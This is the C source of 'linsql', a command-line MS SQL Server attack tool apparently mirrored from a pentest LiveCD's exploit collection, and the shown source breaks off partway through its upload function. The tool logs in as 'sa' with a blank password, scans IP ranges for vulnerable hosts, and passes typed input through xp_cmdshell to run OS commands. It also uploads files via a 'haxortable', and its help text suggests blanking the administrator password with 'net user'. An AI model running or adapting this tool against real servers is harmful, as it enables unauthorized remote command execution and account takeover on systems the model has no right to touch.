home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / database / mysql / linsql.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  35KB  |  1,310 lines

  1. /*
  2.  * linsql.c
  3.  *
  4.  * A simple command-line client for MS SQL server.
  5.  * Designed for executing commands on the underlying operating system rather than SQL engine.
  6.  * That said, it has the ability to perform SQL queries on the server.
  7.  *
  8.  * Setup to login as the user 'sa' with no password by default, although this can be changed.
  9.  *
  10.  * Known bugs/issues:
  11.  *        - after queries that return no data, all further queries return data on the next query. Buggy TDS library.
  12.  *        - lots of redundant code, could be rewritten... fuck it. it works.
  13.  *        - lots of fixed-len arrays is asking for seg faults. Tell someone who cares.
  14.  *        - upload function works... most of the time.
  15.  *        - no checks on commandline args. Eg, "./linsql -a" seg faults due to missing args.
  16.  *
  17.  * To add:
  18.  *        - download function that works as an inverse of upload.... might require some extra code. Will see.
  19.  *
  20.  * To compile, first build the FreeTDS libraries available at http://www.freetds.org
  21.  * then add the freeTDS lib path to /etc/ld.so.conf and execute ldconfig, then:
  22.  *
  23.  *        gcc -o linsql linsql.c -ltds -lncurses
  24.  *
  25.  * To run, this should work for most hosts (note, -v is highly recommended):
  26.  *
  27.  *        ./linsql -c -v -i IPADDRESS
  28.  *
  29.  * Written by Herbless - all ideas, code and bugs are mine.
  30.  *
  31.  * This version is old... I stupidly overwrote my current version with junk....DOH! never mind
  32.  *
  33.  */
  34.  
  35. #include "../freetds/include/tds.h"
  36. #include <stdio.h>
  37. #include <unistd.h>
  38. #include <stdarg.h>
  39. #include <termios.h>
  40. #include <curses.h>
  41. #include <sys/types.h>
  42. #include <sys/socket.h>
  43. #include <signal.h>
  44. #define MAX_BUF_SIZE 256
  45. #define MAX_NUM_DBS 128
  46. #define MAX_INPUT_LEN 8192                        // change this for a larger input buffer in interactive mode
  47. #define MAX_INPUT_LEN_UPPER_BOUNDS 50000000        // maximum ceiling available for input buffer is 50Megs. Enough ?
  48. #define CMD_PADDING 20
  49. #define __PROMPT__ "linsql > "
  50. #define UPKEY -1
  51. #define DOWNKEY -2
  52. #define LEFTKEY -3
  53. #define RIGHTKEY -4
  54. #define BACKSPACE -5
  55. #define MAX_COMMANDS 128
  56. #define STATUS_FILE "__linsql__scanfile__temp__"
  57.  
  58. /***********************************************************************************
  59.  * the structures we don't really need to use but do because they keep things tidy
  60.  ***********************************************************************************/
  61. struct
  62. {
  63.     int verbose;
  64.     int probe;
  65.     int interactive;
  66.     int username;
  67.     int password;
  68.     int app;
  69.     int charset;
  70.     int language;
  71.     int hostname;
  72.     int loginID;
  73.     int test;
  74.     int log;
  75.     int scan;
  76. } opt;
  77. struct
  78. {
  79.     char IP[MAX_BUF_SIZE];
  80.     char loginID[MAX_BUF_SIZE];
  81.     char password[MAX_BUF_SIZE];
  82.     char app[MAX_BUF_SIZE];
  83.     char hostname[MAX_BUF_SIZE];
  84.     char charset[MAX_BUF_SIZE];
  85.     char language[MAX_BUF_SIZE];
  86.     char logfile[MAX_BUF_SIZE];
  87. } target;
  88.  
  89. /***********************************************************************************
  90.  * declare the function prototypes
  91.  ***********************************************************************************/
  92. void set_target_defaults();
  93. char *value_as_string(TDSSOCKET  *tds,int col_idx);
  94. void display_help();
  95. void get_input_string(char *input);
  96. void execute_query(char *query);
  97. void execute_query2(char *query);
  98. void display_db_list();
  99. int do_local_command(char *buf);
  100. void display_table_list();
  101. void print_it(char *s, ...);
  102. void display_options();
  103. void upload_file(char *fname, char *path);
  104. void list_stored_procedures();
  105. void list_columns_in_table(char *query);
  106. int get_key();
  107. int get_string(char *buffer, int maxCount);
  108. void setup_terminal();                            // always call this first
  109. void close_terminal();                            // always call this before you exit() your program
  110. void scan_hosts(char *iprange,int cTimeout, int pTimeout);        // scan for vulnerable hosts
  111. int probe_login(char *ip);
  112.  
  113. /***********************************************************************************
  114.  * mmmm, luvvly global variables. it's an easy life....
  115.  ***********************************************************************************/
  116. char *inputBuf, *execCmd,*backSpaceSequence, *cteol, *home, *commandBuf[MAX_COMMANDS];
  117. int inputBufSize=MAX_INPUT_LEN,numCommands=0;
  118. TDSLOGIN *login;
  119. TDSSOCKET *tds;
  120. FILE *logfileFP;
  121. struct termios init_settings, new_settings;
  122.  
  123. /***********************************************************************************
  124.  * the good old main() function
  125.  ***********************************************************************************/
  126. main(int argc,char **argv)
  127. {
  128.     int  i, invalidArg=0, currArg=1, exitFlag=0, maxx, maxy,x,y, timeout, probeTimeout;
  129.     char *arg;
  130.  
  131.  
  132. /*
  133.  * setup the default values
  134.  */
  135.     memset((void *)&opt,0,sizeof(opt));
  136.     memset((void *)&target,0,sizeof(target));
  137.     
  138. /*
  139.  * check to see if we were passed arguments. If not, display short help screen and bail out
  140.  */
  141.     if(argc==1)
  142.     {
  143.         printf("linsql -- by Herbless -- July 2K\n");
  144.         printf("Syntax:\n");
  145.         printf("\t-i <IP address>\t\tSpecify target IP\n\t-c\t\t\tCommand-line interactive mode\n");
  146.         printf("\t-v\t\t\tBe verbose (recommended)\n\t-p\t\t\tProbe for default password and exit.\n");
  147.         printf("\t-u <username>\t\tSpecify username\n\t-P <password>\t\tSpecify password\n\t-a <appname>\t\tGive application name\n");
  148.         printf("\t-C <charset>\t\tSpecify charset\n\t-l <language>\t\tChoose language\n\t-h <hostname>\t\tGive client hostname\n");
  149.         printf("\t-L <logname>\t\tLog all I/O to <logname> in append mode\n\t-s <IP range> [ct] [pt]\tScan for vulnerable hosts\n");
  150.         printf("\t\t\t\tConnect timeout at [ct] seconds\n\t\t\t\tProbe timeout at [pt] seconds\n");
  151.         printf("\t-t\t\t\tTest mode. Used for debugging with no remote connection.\n\n");
  152.         exit(1);
  153.     }
  154.     
  155. /*
  156.  * parse all the arguments passed from the shell
  157.  */
  158.     argv++;
  159.     while(*argv!=NULL&&invalidArg==0)
  160.     {
  161.         arg=*(argv++);
  162.         if(arg[0]=='-')
  163.         {
  164.             switch(arg[1])
  165.             {
  166.                 case 'i':                                        // get IP address
  167.                     arg=*(argv++);
  168.                     strncpy(target.IP,arg,MAX_BUF_SIZE);
  169.                     break;
  170.                 case 'p':                                        // set probe mode
  171.                     opt.probe=1;
  172.                     break;
  173.                 case 'c':                                        // set interactive mode
  174.                     opt.interactive=1;
  175.                     break;
  176.                 case 'v':                                        // set the verbose mode
  177.                     opt.verbose=1;
  178.                     break;
  179.                 case 't':
  180.                     opt.test=1;
  181.                     break;
  182.                 case 'u':                                        // change the login name (default 'sa')
  183.                     arg=*(argv++);
  184.                     strncpy(target.loginID,arg,MAX_BUF_SIZE);
  185.                     opt.username=1;
  186.                     break;
  187.                 case 'P':                                        // specify a password (default is blank)
  188.                     arg=*(argv++);
  189.                     strncpy(target.password,arg,MAX_BUF_SIZE);
  190.                     opt.password=1;
  191.                     break;
  192.                 case 'a':                                        // specify application to pretend to be
  193.                     arg=*(argv++);
  194.                     strncpy(target.app,arg,MAX_BUF_SIZE);
  195.                     opt.app=1;
  196.                     break;
  197.                 case 'C':                                        // change character set (default us_english)
  198.                     arg=*(argv++);
  199.                     strncpy(target.charset,arg,MAX_BUF_SIZE);
  200.                     opt.charset=1;
  201.                     break;
  202.                 case 'l':                                        // change language (default iso_1)
  203.                     arg=*(argv++);
  204.                     strncpy(target.language,arg,MAX_BUF_SIZE);
  205.                     opt.language=1;
  206.                     break;
  207.                 case 'h':                                        // give client hostname (default mypc)
  208.                     arg=*(argv++);
  209.                     strncpy(target.hostname,arg,MAX_BUF_SIZE);
  210.                     opt.hostname=1;
  211.                     break;
  212.                 case 'L':                                        // do we want logging turned on
  213.                     arg=*(argv++);
  214.                     strncpy(target.logfile,arg,MAX_BUF_SIZE);
  215.                     opt.log=1;
  216.                     break;
  217.                 case 's':
  218.                     if(argc < 3)
  219.                         printf("You must at least specify an IP address or IP range.\n");
  220.                     arg=*(argv++);
  221.                     if(*argv!=NULL && **argv!='-')
  222.                     {
  223.                         timeout=atoi(*(argv++));
  224.                         if(*argv!=NULL && **argv!='-')
  225.                         {
  226.                             probeTimeout=atoi(*(argv++));
  227.                         }
  228.                         else
  229.                             probeTimeout=10;
  230.                     }
  231.                     else
  232.                     {
  233.                         timeout=4;
  234.                         probeTimeout=10;
  235.                     }
  236.                     strncpy(target.IP, arg,MAX_BUF_SIZE);
  237.                     opt.scan=1;
  238.                     break;
  239.                 default:                                        // any other commandline args are invalid
  240.                     invalidArg=1;
  241.                     break;
  242.             }
  243.         }
  244.         else
  245.             invalidArg=1;
  246.         currArg++;
  247.     }
  248.  
  249. /*
  250.  * make sure all is OK with the passed arguments
  251.  */    
  252.     if(invalidArg)
  253.     {
  254.         printf("Invalid argument - '%s'\n", arg);
  255.         exit(1);
  256.     }
  257.     if(target.IP[0]==0)
  258.     {
  259.         printf("If you want to connect you must give an IP!\n");
  260.         exit(1);
  261.     }
  262.     if(opt.probe&&opt.interactive)
  263.     {
  264.         printf("It makes no sense to probe in interactive mode. Choose only one.\n");
  265.         exit(1);
  266.     }
  267.     if(opt.log)
  268.     {
  269.         if((logfileFP=fopen(target.logfile,"wa"))==NULL)
  270.         {
  271.             printf("Could not write to logfile \"%s\"\n",target.logfile);
  272.             exit(1);
  273.         }
  274.     }
  275.     if(opt.probe==0&&opt.interactive==0)
  276.     {
  277.         opt.probe=1;
  278.         if(opt.verbose)
  279.             print_it("- No connect mode given. Assuming probe mode.\n");
  280.     }
  281.     if(opt.verbose)
  282.         display_options();
  283.     
  284. /*
  285.  * setup the call to connect()
  286.  */                    
  287.     set_target_defaults();
  288. /*
  289.  * display messages in verbose mode
  290.  */    
  291.     if(opt.verbose&&opt.probe)
  292.         print_it("- Probing target [%s]...\n", target.IP);
  293.     else
  294.     if(opt.verbose&&opt.interactive)
  295.         print_it("- Attempting interactive command-prompt mode with [%s]...\n",target.IP);
  296.     
  297. /*
  298.  * Attempt to login to server
  299.  */    
  300.     if(opt.scan==1)
  301.     {
  302.         print_it("Scanning %s with connect timeout=%d secs, probe timeout=%d secs.\n",arg, timeout, probeTimeout);
  303.         scan_hosts(target.IP, timeout, probeTimeout);
  304.         exit(0);
  305.     }
  306.     
  307.     if(opt.test==0)
  308.         if((tds = tds_connect(login))==NULL)
  309.         {
  310.             tds_free_login(login);
  311.             if(opt.verbose)
  312.                 print_it("- Login to [%s] failed.\n", target.IP);
  313.             exit(1);
  314.         }
  315.  
  316. /*
  317.  * Success... we're logged into the SQL server. We can have our wicked way :)
  318.  *
  319.  * call this function to initialize my little keyboard routines
  320.  */
  321.     setup_terminal();
  322.     
  323.     if(opt.verbose)
  324.         print_it("- Login to [%s] succeeded %s\n", target.IP,(opt.test==1)?"(TEST MODE)":"");
  325.     else
  326.     if(opt.probe)
  327.         print_it("*** Login to [%s] succeeded %s ***\n", target.IP,(opt.test==1)?"(TEST MODE)":"");
  328.  
  329.      if(opt.interactive)
  330.     {
  331.         if(opt.verbose)
  332.             print_it("- Entering interactive mode. Remember this isn't a shell.\n");
  333.         if((inputBuf=(char *)malloc(MAX_INPUT_LEN))==NULL)
  334.         {
  335.             print_it("Out of memory allocating input buffer\n");
  336.             exit(1);
  337.         }
  338.         if((execCmd=(char *)malloc(MAX_INPUT_LEN+CMD_PADDING))==NULL)
  339.         {
  340.             printf("Out of memory allocating command buffer with padding\n");
  341.             exit(1);
  342.         }
  343.         print_it("Type /h or /? for help\n");
  344.         while(exitFlag==0)
  345.         {
  346.             memset(inputBuf,0,MAX_INPUT_LEN);
  347.             print_it(__PROMPT__);
  348.             fflush(stdout);                                // needed, for prompt to be displayed without adding a cr/lf pair after it
  349.             get_string(inputBuf,MAX_INPUT_LEN);            // read command from keyboard
  350.             if(inputBuf[0]=='/')                        // is it a local command ?
  351.                 exitFlag=do_local_command(inputBuf);
  352.             else
  353.             if(inputBuf[0]!='\0')    // valid buffer ?
  354.             {            
  355.                 strcpy(execCmd, "xp_cmdshell '"); // cheap n cheerful way to build query string without escaping/formatting it
  356.                 strcat(execCmd, inputBuf);
  357.                 strcat(execCmd, "'");
  358.                 if(opt.verbose)
  359.                     print_it("\nExecuting [%s]\n",execCmd);
  360.                 else
  361.                     print_it("\n");
  362.                 execute_query(execCmd);
  363.             }
  364.             else
  365.                 printf("\n");
  366.         }
  367.     }
  368. /*
  369.  * tidy up and exit cleanly
  370.  */
  371.     if(opt.verbose)
  372.         print_it("- Tearing down the connection...\n");
  373.     if(opt.test==0)
  374.         tds_free_socket(tds);
  375.     tds_free_login(login);
  376.     if(opt.verbose)
  377.     {
  378.         print_it("- Disconnected\n");
  379.         print_it("- Freeing dynamic memory...\n");
  380.     }
  381.     free(execCmd);
  382.     free(inputBuf);
  383.     if(opt.verbose)
  384.         print_it("- All done. Have a nice day!\n");
  385.     
  386.     close_terminal();
  387.     exit(0);
  388. }
  389.  
  390. /***********************************************************************************
  391.  * functions go here.....
  392.  ***********************************************************************************/
  393.  
  394. /*
  395.  * guess what this does
  396.  */
  397. void display_options()
  398. {
  399.     print_it("- Using options:\n");
  400.     print_it("\tTarget IP: %s\n", target.IP);
  401.     if(opt.probe)        print_it("\tProbe mode\n");
  402.     if(opt.interactive)    print_it("\tInteractive mode\n");
  403.     if(opt.username)    print_it("\tUsername (login) \"%s\"\n",target.loginID);
  404.     if(opt.password)    print_it("\tPassword ******\n");
  405.     if(opt.hostname)    print_it("\tHostname \"%s\"\n",target.hostname);
  406.     if(opt.app)            print_it("\tApplication name \"%s\"\n",target.app);
  407.     if(opt.language)    print_it("\tLanguage \"%s\"\n",target.language);
  408.     if(opt.charset)        print_it("\tCharset \"%s\"\n",target.charset);
  409.     if(opt.log)            print_it("\tLogging to file \"%s\"\n",target.logfile);
  410.     if(opt.test)        print_it("\tTest mode - no connect()\n");
  411. }
  412.  
  413. /*
  414.  * duh, guess what this does
  415.  */
  416. void display_help()
  417. {
  418.     print_it("\nlinsql -- by Herbless -- July 2K\n");
  419.     print_it("All local commands begin with a '/' character.\n\n");
  420.     print_it("  /? or /h         - This guff\n");
  421.     print_it("  /s <COMMAND>     - Send COMMAND as a literal string to the SQL server.\n");
  422.     print_it("                     Can be used to perform SELECT queries etc.\n");
  423.     print_it("                     Eg. /s SELECT * FROM foo WHERE bar=\"boz\"\n");
  424.     print_it("  /u <DATABASE>    - Use DATABASE as the active database.\n");
  425.     print_it("  /d               - Display a list of databases held on server\n");
  426.     print_it("  /t               - Display a list of tables in current database\n");
  427.     print_it("  /v               - Toggle verbose mode\n");
  428.     print_it("  /l               - Toggle logging mode\n");
  429.     print_it("  /L <FILENAME>    - Change logfile to FILE\n");
  430.     print_it("  /o               - Display current options\n");
  431.     print_it("  /a <BUFFERSIZE>  - Allocate BUFFERSIZE bytes for input buffer. %d is current size.\n", inputBufSize);
  432.     print_it("  /U <FILE> <DEST> - Upload local FILE to remote DEST directory.\n");
  433.     print_it("                     Eg. /U myfile.txt c:\\temp\n");
  434.     print_it("  /p               - Print a list of the stored procdures on the server\n");
  435.     print_it("  /c               - Display the columns in the given the table.\n");
  436.     print_it("  /q               - Disconnect and quit\n\n");
  437.     print_it("Anything else will be passed to the 'xp_cmdshell' stored procedure and executed by the OS.\n");
  438.     print_it("So, you could issue a 'net user administrator \"\"' command for example.\n");
  439.     print_it("Note that you cannot use the ' character as it is the SQL query delimiter. Use \" instead.\n\n");
  440. }
  441. /*
  442.  * interpret and act upon '/' local commands
  443.  */
  444. int do_local_command(char *buf)
  445. {
  446.     char *ptr, *fptr, *pptr, fname[MAX_BUF_SIZE], path[MAX_BUF_SIZE];
  447.     int exitFlag=0, newSize;
  448.     
  449.     if(buf[1]=='q')                    // bail out
  450.         exitFlag=1;
  451.     else
  452.     if(buf[1]=='?'||buf[1]=='h')    // display help
  453.         display_help();
  454.     else
  455.     if(buf[1]=='s')                    // execute a MS-SQL server command, not an operating system one
  456.     {
  457.         if(strlen(buf)>3)
  458.         {
  459.             strcpy(execCmd,buf+3);
  460.             if(opt.verbose)
  461.                 print_it("\nExecuting [%s]\n",execCmd);
  462.             execute_query(execCmd);
  463.         }
  464.         else
  465.             print_it("\nYou must specify a command to execute!\n");
  466.     }
  467.     else
  468.     if(buf[1]=='d')                    // show databases
  469.         display_db_list();
  470.     else
  471.     if(buf[1]=='t')                    // show tables in database
  472.         display_table_list();
  473.     else
  474.     if(buf[1]=='l')                    // toggle logging on/off
  475.     {
  476.         opt.log=1-opt.log;
  477.         if(opt.log)
  478.         {
  479.             if((logfileFP=fopen(target.logfile,"wa"))==NULL)
  480.             {
  481.                 print_it("Failed to open the logfile \"%s\" in append mode.\n",target.logfile);
  482.                 opt.log=0;
  483.             }
  484.         }
  485.         else
  486.             fclose(logfileFP);
  487.         print_it("Logging %s\n", (opt.log==1)?"on":"off");
  488.     }            
  489.     else
  490.     if(buf[1]=='o')                    // show the current options
  491.     {
  492.         display_options();
  493.     }
  494.     else
  495.     if(buf[1]=='L')                    // change log file
  496.     {
  497.         if(opt.log)
  498.             fclose(logfileFP);
  499.         strncpy(target.logfile, buf+3, MAX_BUF_SIZE);
  500.         opt.log=1;
  501.         if((logfileFP=fopen(target.logfile,"wa"))==NULL)
  502.         {
  503.             print_it("Failed to open the logfile \"%s\" in append mode.\n",target.logfile);
  504.             opt.log=0;
  505.         }
  506.         else
  507.             print_it("Log file changed to \"%s\"\n",target.logfile);
  508.         print_it("Logging %s\n", (opt.log==1)?"on":"off");
  509.     }
  510.     else
  511.     if(buf[1]=='u')                    // change current db
  512.     {
  513.         if(strlen(buf)>3)
  514.         {
  515.             strcpy(execCmd, "use ");
  516.             strcat(execCmd,buf+3);
  517.             if(opt.verbose)
  518.                 print_it("\nExecuting [%s]\n",execCmd);
  519.             execute_query(execCmd);
  520.         }
  521.         else
  522.             print_it("\nYou must specify database to make active!\n");
  523.     }
  524.     else
  525.     if(buf[1]=='v')                    // toggle verbose mode
  526.     {
  527.         opt.verbose=1-opt.verbose;
  528.         
  529.         print_it("\nVerbose mode %s\n",(opt.verbose==0)?"off":"on");
  530.     }
  531.     else
  532.     if(buf[1]=='a')                    // change size of allocated input buffer
  533.     {
  534.         if(strlen(buf)>3)
  535.         {
  536.             newSize=atoi(buf+3);
  537.             if(newSize < 8192 || newSize > MAX_INPUT_LEN_UPPER_BOUNDS)
  538.                 print_it("The size %d is out of bounds.\nChoose a buffer between %d and %d bytes\n", newSize,MAX_INPUT_LEN,MAX_INPUT_LEN_UPPER_BOUNDS);
  539.             else
  540.             {
  541.                 inputBufSize=newSize;
  542.                 if((ptr=(char *)realloc(inputBuf, inputBufSize))==NULL)
  543.                     print_it("Not enough memory for that input buffer.\nKeeping original buffer size.");
  544.                 else
  545.                 {
  546.                     inputBuf=ptr;
  547.                     print_it("Allocated %d bytes for input buffer\n",inputBufSize);
  548.                 }
  549.                 if((ptr=(char *)realloc(execCmd, inputBufSize+CMD_PADDING))==NULL)
  550.                 {
  551.                     print_it("Not enough memory for the exec buffer.\nKeeping original buffer size.");
  552.                     inputBuf=(char *)realloc(inputBuf,MAX_INPUT_LEN); // if the execCmd buffer alloc fails, we have to realloc the inputBuf also
  553.                 }
  554.                 else
  555.                 {
  556.                     execCmd=ptr;
  557.                     print_it("Allocated %d bytes for exec buffer\n", inputBufSize+CMD_PADDING);
  558.                 }
  559.             }
  560.         }
  561.         else
  562.             print_it("You must specify a new size in bytes\n");
  563.     }                    
  564.     else
  565.     if(buf[1]=='U')
  566.     {
  567.         ptr=buf+2;
  568.         if(*ptr!=' ')
  569.         {
  570.             print_it("Invalid upload\n");
  571.             return exitFlag;
  572.         }
  573.         fptr=fname;
  574.         pptr=path;
  575.         while(*ptr==' ')                     // skip blanks after '/U'
  576.             ptr++;
  577.         while(*ptr!=' '&&*ptr!='\0')        // copy filename into buffer
  578.             *(fptr++)=*(ptr++);
  579.         if(*ptr!=' ')                        // make sure there is something after the filename
  580.         {
  581.             print_it("Invalid upload\n");
  582.             return exitFlag;
  583.         }
  584.         ptr++;
  585.         while(*ptr!=' '&&*ptr!='\0')        // copy path for dest file on remote server into buffer
  586.             *(pptr++)=*(ptr++);
  587.         *fptr='\0';                            // null terminate the buffers
  588.         *pptr='\0';
  589.         upload_file(fname, path);            // upload it! remember the filename is local and may contain directoty parameters...
  590.     }
  591.     else
  592.     if(buf[1]=='p')
  593.     {
  594.         list_stored_procedures();
  595.     }
  596.     else
  597.     if(buf[1]=='c')
  598.     {
  599.         if(strlen(buf)>3)
  600.         {
  601.             strcpy(execCmd, "sp_columns ");
  602.             strcat(execCmd,buf+3);
  603.             if(opt.verbose)
  604.                 print_it("\nExecuting [%s]\n",execCmd);
  605.             list_columns_in_table(execCmd);
  606.         }
  607.         else
  608.             print_it("\nYou must specify a table to to be able to list the columns\n");
  609.     }
  610.     else
  611.         print_it("\nOut of cheese error - redo from start.\n");    // invalid local command
  612.     
  613.     return exitFlag;
  614. }
  615.  
  616. /*
  617.  * send a prepared query to the MS SQL server
  618.  * display all output nicely on the screen
  619.  * gets messy with lines wider than the terminal width. to be fixed :)
  620.  * the function is from the FreeTDS example code with some changes
  621.  */
  622. void execute_query(char *query)
  623. {
  624.     int i, rowc=999,resultc=999, row, count=0, gotInside=0;
  625.     
  626.     if(opt.test==0)
  627.     {
  628.         //print_it("*** calling tds_submit_query() ***\n");fflush(stdout);
  629.         if(tds_submit_query(tds,query)==TDS_FAIL)
  630.         {
  631.             if(opt.verbose)
  632.                 printf("TDS FAIL on tds_submit_query()\n");
  633.             return;
  634.         }
  635.         //print_it("*** Entering first loop ***\n");
  636.         while((resultc=tds_process_result_tokens(tds))==TDS_SUCCEED)
  637.         {
  638.             gotInside=1;
  639.             //print_it("*** Entering second loop ***\n");
  640.             while((rowc=tds_process_row_tokens(tds))==TDS_SUCCEED)
  641.             {
  642.                 for (i=0; i<tds->res_info->num_cols; i++)
  643.                     print_it("[%s] - %s\n", tds->res_info->columns[i]->column_name,value_as_string(tds, i));
  644.                 count++;
  645.             }
  646.         }
  647.         if(count==0)
  648.             if(opt.verbose)
  649.                 print_it("resultc=%d, rowc=%d,gotInside=%d\n",resultc,rowc,gotInside);
  650.     }
  651. }
  652.  
  653. /*
  654.  * use an 'sp_tables' stored procedure call to get a list of tables in the current database
  655.  * will fail with unpredictable results if the procedure doesn't exist
  656.  */
  657. void display_table_list()
  658. {
  659.     int i, resultc=999,rowc=999, row, count=0,gotInside=0;
  660.     
  661.     if(opt.test==0)
  662.     {
  663.         printf("\n");        
  664.         if(tds_submit_query(tds,"sp_tables")==TDS_FAIL)
  665.         {
  666.             if(opt.verbose)
  667.                 printf("TDS FAIL on tds_submit_query()\n");
  668.             return;
  669.         }
  670.         while((resultc=tds_process_result_tokens(tds))==TDS_SUCCEED)
  671.         {
  672.             gotInside=1;
  673.             while((rowc=tds_process_row_tokens(tds))==TDS_SUCCEED)
  674.             {
  675.                 for(i=0; i<tds->res_info->num_cols; i++)
  676.                     if(strcmp(tds->res_info->columns[i]->column_name, "TABLE_NAME")==0)
  677.                         print_it("\n%s",value_as_string(tds, i));
  678.                 count++;
  679.             }
  680.         }
  681.         printf("\n\n");
  682.     }
  683. }
  684.  
  685. /*
  686.  * use an 'sp_databases' stored procedure call to get a list of databases from the server
  687.  * will fail with unpredictable results if the procedure doesn't exist
  688.  */
  689. void display_db_list()
  690. {
  691.     int i, resultc=999,rowc=999, row, count=0,gotInside=0;
  692.     
  693.     if(opt.test==0)
  694.     {
  695.         printf("\n");
  696.         if(tds_submit_query(tds,"sp_databases")==TDS_FAIL)
  697.         {
  698.             if(opt.verbose)
  699.                 printf("TDS FAIL on tds_submit_query()\n");
  700.             return;
  701.         }
  702.         while((resultc=tds_process_result_tokens(tds))==TDS_SUCCEED)
  703.         {
  704.             gotInside=1;
  705.             while((rowc=tds_process_row_tokens(tds))==TDS_SUCCEED)
  706.             {
  707.                 for(i=0; i<tds->res_info->num_cols; i++)
  708.                     if(strcmp(tds->res_info->columns[i]->column_name, "")==0||strcmp(tds->res_info->columns[i]->column_name, "DATABASE_NAME")==0)
  709.                         print_it("\n%s",value_as_string(tds, i));
  710.                 count++;
  711.             }
  712.         }
  713.         printf("\n\n");        
  714.     }
  715. }
  716.  
  717. /*
  718.  * get a string and chop off the new-line added by the dumb-ass fgets(...)
  719.  */
  720. void get_input_string(char *input)
  721. {
  722.     memset(input, 0, MAX_INPUT_LEN);
  723.     fgets(input, MAX_INPUT_LEN-1,stdin);
  724.     input[strlen(input)-1]='\0';
  725. }
  726.     
  727.  
  728. /*
  729.  * setup the initial values for the connection parameters
  730.  * these may be changed by arguments on the commandline
  731.  */
  732. void set_target_defaults()
  733. {
  734.     strncpy(target.loginID,"sa",MAX_BUF_SIZE);
  735.     strncpy(target.password,"",MAX_BUF_SIZE);
  736.     strncpy(target.language,"us_english",MAX_BUF_SIZE);
  737.     strncpy(target.charset,"iso_1",MAX_BUF_SIZE);
  738.     strncpy(target.hostname,"mypc",MAX_BUF_SIZE);
  739.     strncpy(target.app,"Microsoft Access",MAX_BUF_SIZE);
  740.     login = tds_alloc_login();
  741.     tds_set_passwd(login,target.password);
  742.     tds_set_user(login,target.loginID);
  743.     tds_set_app(login,target.app);
  744.     tds_set_host(login,target.hostname);
  745.     tds_set_library(login,"TDS-Library");
  746.     tds_set_charset(login,target.charset);
  747.     tds_set_language(login,target.language);
  748.     tds_set_server(login,target.IP);
  749.     tds_set_packet(login,512);
  750. }
  751.  
  752. /*
  753.  * This function plucked straight from the FreeTDS example code
  754.  * modified to display strings as the default value instead of an error message
  755.  */
  756. char *value_as_string(TDSSOCKET  *tds,int col_idx)
  757. {
  758.    static char  result[256];
  759.    const int    type    = tds->res_info->columns[col_idx]->column_type;
  760.    const char  *row     = tds->res_info->current_row;
  761.    const int    offset  = tds->res_info->columns[col_idx]->column_offset;
  762.    const void  *value   = (row+offset);
  763.  
  764.    switch(type)
  765.    {
  766.       case SYBVARCHAR:
  767.       {
  768.          strncpy(result, (char *)value, sizeof(result)-1);
  769.          result[sizeof(result)-1] = '\0';
  770.          break;
  771.       }
  772.       case SYBINT4:
  773.       {
  774.          sprintf(result, "%d", *(int *)value);
  775.          break;
  776.       }
  777.       default:
  778.       {
  779.          strncpy(result, (char *)value, sizeof(result)-1);
  780.          result[sizeof(result)-1] = '\0';
  781.     //strcpy(result, "NotImp");
  782.          break;
  783.       }
  784.    }
  785.    return result;
  786. }
  787.  
  788. /*
  789.  * print to screen and, if necessary, the log file
  790.  */
  791. void print_it(char *s, ...)
  792. {
  793.     va_list ap;
  794.     
  795.     va_start(ap, s);
  796.     vprintf(s, ap);
  797.     if(opt.log&&logfileFP!=NULL)
  798.         vfprintf(logfileFP,s,ap);
  799.     va_end(ap);
  800. }
  801. void upload_file(char *fname, char *path)
  802. {
  803.     FILE *fp;
  804.     unsigned char *uploadBuf, buf[10], *ptr, *fptr;
  805.     int start, end, size, verboseSave, i, ch;
  806.     
  807.     print_it("*** Beginning file upload ***\n");
  808.  
  809. /*
  810.  * first, before I forget, strip out the directory path from the given filename so things don't get fucked up later.
  811.  * at the end of the loop fptr will point to a bare filename. path will have any trailing slashes dropped
  812.  */
  813.     size=strlen(fname);
  814.     ptr=fname+size;
  815.     while(size--)
  816.     {
  817.         if(*ptr=='/')
  818.         {
  819.             fptr=ptr+1;
  820.             break;
  821.         }
  822.         ptr--;
  823.     }
  824.     if(size<=0)
  825.         fptr=ptr;
  826.     if(path[strlen(path)-1]=='\\')    // chop any trailing slashes entered by dumb haxors ;)
  827.         path[strlen(path)-1]='\0';
  828.  
  829.     verboseSave=opt.verbose;
  830.     opt.verbose=0;                // stop execute_query() from shouting about what it's doing. makes things neater
  831.     
  832.     print_it("- opening file to upload...\n");
  833.     if((fp=fopen(fname,"r"))==NULL)
  834.     {
  835.         print_it("Cannot open \"%s\"\nUpload failed\n", fname);
  836.         return;
  837.     }
  838.     start=ftell(fp);    // should always be zero
  839.     fseek(fp,0,SEEK_END);
  840.     end=ftell(fp);        // should be last byte of file.
  841.     fseek(fp,0,SEEK_SET);
  842.     size=end-start;        // get size of file
  843.  
  844.     i=256+(size*2)+(CMD_PADDING*2);
  845.     print_it("- allocating memory (%d bytes) for file of size %d bytes...\n",i, size);
  846.     uploadBuf=(unsigned char *)malloc(i);        // scrappy memory alloc should work in most cases :)
  847.     if(uploadBuf==NULL)
  848.     {
  849.         printf("Not enough memory. Get a proper computer\nUpload failed\n");
  850.         fclose(fp);
  851.         return;
  852.     }
  853.     
  854.     print_it("- using master database\n");
  855.     execute_query("use master");
  856.     
  857.     print_it("- dropping any old haxortable's\n");
  858.     execute_query("drop table haxortable");
  859.     
  860.     print_it("- creating table \"haxortable\"\n");
  861.     execute_query("create table haxortable (upload image)");
  862.         
  863.     print_it("- building query string to insert file into table...\n");
  864.     strcpy(uploadBuf, "insert into haxortable (upload) values(0x");    // start the query string
  865.     i=0;
  866.     ptr=uploadBuf+strlen(uploadBuf);
  867.     do
  868.     {
  869.         if(fread(&ch,1,1,fp))
  870.         {                                                    // read byte from file
  871.             sprintf(buf, "%2x", ch);                        // convert to hex pair
  872.             if(buf[0]==' ')                                    // make sure its a pair for single digits
  873.                 buf[0]='0';
  874.             *(ptr++)=buf[0];                                // tag it on the end of the query string
  875.             *(ptr++)=buf[1];
  876.         }
  877.     }while(!feof(fp));
  878.     *(ptr++)=')';
  879.     *(ptr++)='\0';                                            // finish the query string
  880.     fclose(fp);
  881.     
  882.     print_it("- insert the file into the temporary table...\n");
  883.     execute_query(uploadBuf);                                            // stuff the file into the table
  884.     print_it("- build a file for redirecting bcp commands");fflush(stdout);
